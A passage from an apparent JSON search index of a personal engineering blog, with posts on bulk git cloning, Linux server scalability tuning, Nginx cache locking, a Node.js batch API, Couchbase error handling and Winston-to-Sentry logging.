repository\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eREPOLIST\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003ecurl --silent https://api.github.com/orgs/\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eGITHUB_ORGANIZATION\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e/repos?per_page\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e200\u003c/span\u003e -q \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep \u003cspan class=\"s2\"\u003e\u0026#34;\\\u0026#34;ssh_url\\\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e awk -F\u003cspan class=\"s1\"\u003e\u0026#39;: \u0026#34;\u0026#39;\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;{print $2}\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e sed -e \u003cspan class=\"s1\"\u003e\u0026#39;s/\u0026#34;,//g\u0026#39;\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# loop over all repository urls and execute clone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e REPO in \u003cspan class=\"nv\"\u003e$REPOLIST\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eGIT_CLONE_CMD\u003c/span\u003e\u003cspan class=\"si\"\u003e}${\u003c/span\u003e\u003cspan class=\"nv\"\u003eREPO\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou can just invoke it with the argument of either user or organization. For example\u003c/p\u003e","title":"Bulk git clone repositories"},{"content":"Focus on performance and scalablity is one of my primary personal and professional goal when working with tech products.\nThe server can be any Linux based server such as CentOS or Debian derivative such as Ubuntu.\nIn this post, I will outline my learnings on scaling the Linux server. Scaling here implies many things such as\nBeing able to open many files at once. Here files can be generally applied to concept such as open ports, threads etc and not necessary physical files\nBeing able to handle many concurrent network connections\nKnowing Linux OS and related concepts such as Iptables is a pre-requisite.\nOpen files We need to keep our file limit high for any linux production server. Check the current value using ulimit -a\nWe can configure this limit using /etc/security/limits.conf\n* hard nofile 300000 * soft nofile 300000 tomcat hard nofile 300000 tomcat soft nofile 300000 Note that we can also specify per user limit as shown above (special limits for tomcat user)\nThe file descriptor limit for a running process can be seen in the following file under Max open files.\n$ cat /proc/\u0026lt;pid\u0026gt;/limits Max open files 30000 Ephemeral Ports Increase the number of ephemeal ports availabl to your application. The default value is 32768 - 61000.\nTIME_WAIT state TCP connections go through lot of states, last of them is TIME_WAIT state. The default TIME_WAIT timeout is for 2 minutes, Which means you’ll run out of available ports if you receive more than about 400 requests a second, or if we look back to how nginx does proxies, this actually translates to 200 requests per second.\nThese parameters can be tuned using these settings in /etc/sysctl.conf\nnet.ipv4.ip_local_port_range = 18000 65535 net.ipv4.netfilter.ip_conntrack_tcp_timeout_time_wait = 1 Connection Tracking The next parameter we looked at was Connection Tracking. This is a side effect of using iptables. Since iptables needs to allow two-way communication between established HTTP and ssh connections, it needs to keep track of which connections are established, and it puts these into a connection tracking table. This table grows. And grows. And grows.\nYou can see the current size of this table using sysctl net.netfilter.nf_conntrack_count and its limit using sysctl net.nf_conntrack_max. If count crosses max, your linux system will stop accepting new TCP connections and you’ll never know about this. The only indication that this has happened is a single line hidden somewhere in /var/log/syslog saying that you’re out of connection tracking entries. One line, once, when it first happens.\nA better indication is if count is always very close to max. You might think, “Hey, we’ve set max exactly right.”, but you’d be wrong.\nWhat you need to do (or at least that’s what you first think) is to increase max.\nKeep in mind though, that the larger this value, the more RAM the kernel will use to keep track of these entries. RAM that could be used by your application.\nWe started down this path, increasing net.nf_conntrack_max, but soon we were just pushing it up every day. Connections that were getting in there were never getting out.\nMaximum number of pending connections on a socket During some of our initial load testing, we ran into a strange problem where we were unable to open more than approximately 128 concurrent connections at once.\nAfter some investigation, we learned about the following kernel parameter.\nnet.core.somaxconn This kernel parameter is the size of the backlog of TCP connections waiting to be accepted by the application. If a connection indication arrives when the queue is full, the connection is refused. The default value for this parameters is 128 on most modern operating systems.\nBumping up this limit in /etc/sysctl.conf helped us get rid of the “connection refused” issues on our Linux machines.\nJVM thread count A few hours after we allowed a significant percentage of production traffic to hit our server for the first time, we were alerted to the fact that the load balancer was unable to connect to a few of our machines. On further investigation, we saw the following all over our server logs.\njava.lang.OutOfMemoryError: unable to create new native thread If you hit the JVM thread limit, chances are that there is a thread leak in your code that needs to be fixed. However, if you find that all your threads are actually doing useful work, is there a way to tweak the system to let you create more threads and accept more connections?\nThe answer, as always, is fun. It’s interesting to discuss how available memory limits the number of threads that can be created on a JVM. The stack size of a thread determines the memory available for static memory allocation. Thus, the absolute theoretical maximum number of threads is a process’s user address space divided by the thread stack size. However, the reality is that the JVM also uses memory for dynamic allocation on the heap. With a few quick tests with a small Java process, we could verify that as more memory is allocated for the heap, less is available for the stack. Thus, the limit on the number of threads decreases with increasing heap size.\nTo summarize, you can increase the thread count limit by decreasing the stack size per thread (-Xss) or by decreasing the memory allocated to the heap (-Xms, -Xmx).\n","permalink":"https://madhur.co.in/blog/2017/01/30/tuning-linux-servers-scalability.html","summary":"\u003cp\u003eFocus on performance and scalablity is one of my primary personal and professional goal when working with tech products.\u003c/p\u003e\n\u003cp\u003eThe server can be any Linux based server such as \u003ca href=\"https://www.centos.org/\"\u003eCentOS\u003c/a\u003e or \u003ca href=\"https://www.debian.org/\"\u003eDebian\u003c/a\u003e derivative such as \u003ca href=\"https://www.ubuntu.com/\"\u003eUbuntu\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eIn this post, I will outline my learnings on scaling the Linux server. Scaling here implies many things such as\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eBeing able to open many files at once. Here files can be generally applied to concept such as open ports, threads etc and not necessary physical files\u003c/p\u003e","title":"Tuning Linux servers for scalability"},{"content":"If you have worked with Nginx cache, one must know and understand proxy_cache_lock and proxy_cache_use_stale directives.\nTo configure simply Nginx caching, we basically add these 2 lines in our configuration block:\nproxy_ignore_headers X-Accel-Expires Expires Cache-Control; proxy_cache_valid any 30s; This will ignore any of the cache related headers from upstream and keep the cache valid for 30 seconds. This means that a request will only go out to upstream every 30 seconds. But it won\u0026rsquo;t be one request: it\u0026rsquo;s very possible that multiple requests will be made when multiple people request the same stale cache. To solve this problem, we add two more configuration directives:\nproxy_cache_lock on; proxy_cache_use_stale updating; Using these two extra configuration directives, Nginx will send only one request to upstream every 30 secs while still responding quickly with stale data.\nAn important point to consider here is that default value of proxy_cache_use_stale is off. That means, if you have set, proxy_cache_lock to on, all the requests which will arrive at Ngix while the cache is being updated will \u0026ldquo;essentially wait\u0026rdquo;. During heavy traffic, this can considerably slowdown the performance and response times of the requests.\nQuoting from NGINX docs:\nWhen enabled, only one request at a time will be allowed to populate a new cache element identified according to the proxy_cache_key directive by passing a request to a proxied server. Other requests of the same cache element will either wait for a response to appear in the cache or the cache lock for this element to be released, up to the time set by the proxy_cache_lock_timeout directive\nThus, it is very important to consider the scenarios in which proxy_cache_lock is being used. If it is not possible to serve the stale data to the client, it becomes even more important to configure the proxy_cache_lock_timeout value, otherwise performance can be severely degraded during heavy traffic. The default value of proxy_cache_lock_timeout is 5 seconds which is quite high.\n","permalink":"https://madhur.co.in/blog/2016/12/25/proxy-cache-lock-nginx.html","summary":"\u003cp\u003eIf you have worked with Nginx cache, one must know and understand \u003ca href=\"http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_lock\"\u003e\u003ccode\u003eproxy_cache_lock\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_use_stale\"\u003e\u003ccode\u003eproxy_cache_use_stale\u003c/code\u003e\u003c/a\u003e directives.\u003c/p\u003e\n\u003cp\u003eTo configure simply Nginx caching, we basically add these 2 lines in our configuration block:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eproxy_ignore_headers X-Accel-Expires Expires Cache-Control;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eproxy_cache_valid any 30s;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis will ignore any of the cache related headers from upstream and keep the cache valid for 30 seconds. This means that a request will only go out to upstream every 30 seconds. But it won\u0026rsquo;t be one request: it\u0026rsquo;s very possible that multiple requests will be made when multiple people request the same stale cache. To solve this problem, we add two more configuration directives:\u003c/p\u003e","title":"Close look at proxy_cache_lock and proxy_cache_use_stale in Nginx"},{"content":"Recently, there is lot of focus on dividing a complex application into small microservices communicating over REST. In most of the cases, REST is implemented over HTTP protocol. All this is great, but HTTP protocol adds lot of communciation overhead. There is a Request header, response headers which adds to considerable bytes in payload. Apart from that, you need to take care of things like keepalive to eliminate TCP connection time overhead.\nThe keepalive does work well for microservices, but it certainly doesn\u0026rsquo;t work well for let\u0026rsquo;s say \u0026ldquo;mobile REST client applications\u0026rdquo;, where changing network conditions and cell tower will not allow for keep alives. Establishing an HTTP connection, especially when using secure sockets (HTTPS), will result in a handshake being performed between the mobile client and the server. These handshakes will occur N times when N requests are being sent, and your app will incur the associated extra cost of network traffic and battery consumption.\nTo mitigate these issues, it is generally advisable to batch HTTP requests whenever possible and send them over a persistent HTTP connection.\nWe implemented a very simple Batch API framework in Node.js. It is very looosely based on Facebook\u0026rsquo;s Graph API documentation, specifically Graph API, Making Batch Requests.\nThe request format is very simple, you just specify the end points and the type of requests they are (GET, POST, PUT DELETE, HEAD) etc. For example,\n[ { \u0026#34;method\u0026#34;: \u0026#34;GET\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/me\u0026#34; }, { \u0026#34;method\u0026#34;: \u0026#34;GET\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/me/friends?limit=50\u0026#34; }, { \u0026#34;method\u0026#34;: \u0026#34;POST\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/notification\u0026#34;, \u0026#34;body\u0026#34;: { \u0026#34;title\u0026#34;: \u0026#34;hi there\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;hi there as well\u0026#34; } } ] For each operation, the response includes a status code, header information, and the body. These are equivalent to the response you could expect from each operation if performed as raw requests.\n[ { \u0026#34;code\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;{\\\u0026#34;id\\\u0026#34;:\\\u0026#34;…\\\u0026#34;}\u0026#34; }, { \u0026#34;code\u0026#34;: 200, \u0026#34;body\u0026#34;:\u0026#34;{\\\u0026#34;data\\\u0026#34;: [{…}]} } ] One could have also included headers in the output if required, but I believe it adds unnecessary overhead in the payload.\nHandling errors Its possible that one of the requested operations may throw an error. In this scenario, the batch API throws a similar response to the standard Graph API, but encapsulated in the batch response syntax:\nOther requests within the batch should still complete successfully and will be returned, as normal, with a 200 status code.\nImplementation The batch API framework is implemented in Node.js using async and request module.\nperformBatch: function(req, callback) { var items = req.body; var headers = util.getHeaders(req); var responses = []; async.forEachOf(items, function(item, index, callback) { performRequest(item, headers, function(err, response) { if(err) { responses.push({code:500, body: null, o:index }); } else { responses.push({code: response.statusCode, body: response.body, o: index}); } callback(); }); }, function(err) { responses.sort(util.keysrt(\u0026#39;o\u0026#39;)); return callback(null, responses); }); } The eachOf function of async is used to send the HTTP request for each item in array in parallel. Note, that since this function calls HTTP request for each item in parallel, there is no guarantee that the functions will complete in order. Hence, the index is used to keep track of order and pushed with each response.\nperformRequest is a simple function which makes an HTTP request according to the parameters and returns the response in a callback. In case of any error, it simply returns error parameter as true\nfunction performRequest(item, headers, callback) { request({ url: config.self_host + item.path, method: item.method, json: true, timeout: 5000, headers: headers, body: item.body }, function (error, response, body) { if(error) { console.log(error); return callback(true); } else { return callback(null, response); } }); } Once all the responses are received, they are sorted according to the index key using the below function.\nfunction keysrt(key, desc) { return function(a,b){ return desc ? ~~(a[key] \u0026lt; b[key]) : ~~(a[key] \u0026gt; b[key]); }; } ","permalink":"https://madhur.co.in/blog/2016/12/25/batch-api-framework-nodejs.html","summary":"\u003cp\u003eRecently, there is lot of focus on dividing a complex application into small microservices communicating over REST. In most of the cases, REST is implemented over HTTP protocol. All this is great, but HTTP protocol adds lot of communciation overhead. There is a Request header, response headers which adds to considerable bytes in payload. Apart from that, you need to take care of things like \u003ccode\u003ekeepalive\u003c/code\u003e to eliminate TCP connection time overhead.\u003c/p\u003e","title":"Improving performance using Batch APIs"},{"content":"We use Couchbase as our NOSQL document store. Couchbase provides lots of software development kits (SDKs) in different programming languages, including one in Node.js, so JavaScript development integrates Couchbase into the product very easily. For example:\nvar couchbase = require(\u0026#39;couchbase\u0026#39;); var cluster = new couchbase.Cluster(\u0026#39;couchbase://127.0.01\u0026#39;); var bucket = cluster.openBucket(\u0026#39;default\u0026#39;); bucket.get(userId, function (err, res) { if (err) { console.log(err); //handle error } else { //access data here } }); However, there are some caveats which we have discovered. Suppose, the application was not able to connect to couchbase when it was started. There will never be a connection to couchbase and bucket.get will throw an exception cannot perform operations on a shutdown bucket. Note that, this will not fall into an error case, infact this will be treated as an unhandled exception.\nThis was really undesirable for us, since we were using couchbase as a caching store. An error in connecting to couchbase is ideally a miss, which our code should handle and lookup the data in our persistent store, MySQL.\nSolution There are few solutions to this problem. I am describing here what we choose. Some of them are described here as well.\nFirst is to track the connection status of couchbase at startup. And then connect to couchbase, only if the status indicated success. For example,\nvar couchbase = require(\u0026#39;couchbase\u0026#39;); var cluster = new couchbase.Cluster(config.couch); var bucket = cluster.openBucket(\u0026#39;default\u0026#39;); // connection status var couchbaseConnected = false; bucket.on(\u0026#39;error\u0026#39;, function (err) { couchbaseConnected = false; console.log(\u0026#39;CONNECT ERROR:\u0026#39;, err); }); bucket.on(\u0026#39;connect\u0026#39;, function () { couchbaseConnected = true; console.log(\u0026#39;connected couchbase\u0026#39;); }); Now, since we have the status at startup, we can use it to decide weather to connect to couchbase or not.\nif (couchbaseConnected) { bucket.get(userId, function (err, res) { if (err) { // handle error } else { // access data } }); } else { // get data from persistent store, such as mysql } The disadvantage of this approach is that if the couchbase later becomes available, the application has no way of knowing it and it will not reconnect.\nOne solution to it is to try and reconnect the bucket. For example, we modify our code as follows:\nvar couchbase = require(\u0026#39;couchbase\u0026#39;); var cluster = new couchbase.Cluster(config.couch); var bucket; var couchbaseConnected = false; tryOpenBucket(); function tryOpenBucket() { bucket= cluster.openBucket(\u0026#39;default\u0026#39;); bucket.on(\u0026#39;error\u0026#39;, function (err) { couchbaseConnected = false; console.log(\u0026#39;CONNECT ERROR:\u0026#39;, err); }); bucket.on(\u0026#39;connect\u0026#39;, function () { couchbaseConnected = true; console.log(\u0026#39;connected couchbase\u0026#39;); }); } And, while accessing any key:\nif (couchbaseConnected) { bucket.get(userId, function (err, res) { if (err) { console.log(err); // handle error } else { // access data } }); } else { // We try and open bucket again here. If its successful, couchbaseConnected will bet set to true and next time data will be fetched from couchbase tryOpenBucket(); // Get data from persistent store, mysql } In this solution, We try and open bucket again everytime we access the key. If its successful, couchbaseConnected will bet set to true and next time data will be fetched from couchbase.\n","permalink":"https://madhur.co.in/blog/2016/12/04/handling-couchbase-node.html","summary":"\u003cp\u003eWe use \u003ca href=\"http://www.couchbase.com/\"\u003eCouchbase\u003c/a\u003e as our NOSQL document store. Couchbase provides lots of software development kits (SDKs) in different programming languages, including one in Node.js, so JavaScript development integrates Couchbase into the product very easily. For example:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ecouchbase\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;couchbase\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ecluster\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003ecouchbase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eCluster\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;couchbase://127.0.01\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ebucket\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ecluster\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopenBucket\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;default\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003euserId\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"c1\"\u003e//handle error\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"c1\"\u003e//access data here\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHowever, there are some caveats which we have discovered. Suppose, the application was not able to connect to couchbase when it was started. There will never be a connection to couchbase and \u003ccode\u003ebucket.get\u003c/code\u003e will throw an exception \u003ccode\u003ecannot perform operations on a shutdown bucket\u003c/code\u003e. Note that, this will not fall into an error case, infact this will be treated as an unhandled exception.\u003c/p\u003e","title":"Couchbase exception handling in Node.js"},{"content":"Effective logging is crucial to any application deployed in production. For node.js, express based applications, we use Winston as our logging framework.\nIn our scenario, we also want some crucial logs to be logged to Sentry.\nA simple setup of Sentry is described below. This is same as what is described in sentry docs.\nvar sentry_enabled = false; if (process.env.NODE_ENV == \u0026#39;production\u0026#39;) { sentry_enabled = true; } if (sentry_enabled) { app.use(raven.middleware.express.requestHandler(config.sentry_dsn)); } // setup routes app.use(\u0026#39;/\u0026#39;, healthcheck); if (sentry_enabled) { app.use(raven.middleware.express.errorHandler(config.sentry_dsn)); } All good uptil now, except that this setup logs only unhandled exceptions to Sentry. For sending manual log lines to Sentry, sentry recommends using client.captureException(e) or client.captureMessage(msg) as per these docs\nHowever, it could be great if we send our winston error level logs to sentry.\nThat\u0026rsquo;s where winston-sentry packages comes to help. It can send your winston logs to sentry automatically.\nAll that is needed is to add a Sentry transport to the winston logger.\nvar winston = require(\u0026#39;winston\u0026#39;); var Sentry = require(\u0026#39;winston-sentry\u0026#39;); winston.emitErrs = true; var logger = new winston.Logger({ transports: [ new winston.transports.File({ level: \u0026#39;0\u0026#39;, filename: \u0026#39;/opt/logfile.log\u0026#39;, handleExceptions: true, json: false, colorize: false, timestamp: function() { return new Date().toLocaleString(\u0026#39;ca\u0026#39;); } }), new winston.transports.Console({ level: \u0026#39;info\u0026#39;, handleExceptions: true, json: false, colorize: true }), new Sentry({ level: \u0026#39;error\u0026#39;, dsn: config.sentry_dsn, tags: { key: \u0026#39;value\u0026#39; }, extra: { key: \u0026#39;value\u0026#39; } }) ], exitOnError: false }); module.exports = logger; ","permalink":"https://madhur.co.in/blog/2016/12/04/integrating-sentry-node.html","summary":"\u003cp\u003eEffective logging is crucial to any application deployed in production. For node.js, \u003ca href=\"http://expressjs.com/\"\u003eexpress\u003c/a\u003e based applications, we use \u003ca href=\"https://github.com/winstonjs/winston\"\u003eWinston\u003c/a\u003e as our logging framework.\u003c/p\u003e\n\u003cp\u003eIn our scenario, we also want some crucial logs to be logged to \u003ca href=\"https://sentry.io/welcome/\"\u003eSentry\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eA simple setup of Sentry is described below. This is same as what is described in \u003ca href=\"https://docs.sentry.io/clients/node/integrations/express/\"\u003esentry docs\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003esentry_enabled\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eprocess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eNODE_ENV\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;production\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003esentry_enabled\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esentry_enabled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eraven\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eexpress\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequestHandler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esentry_dsn\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// setup routes\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ehealthcheck\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esentry_enabled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan 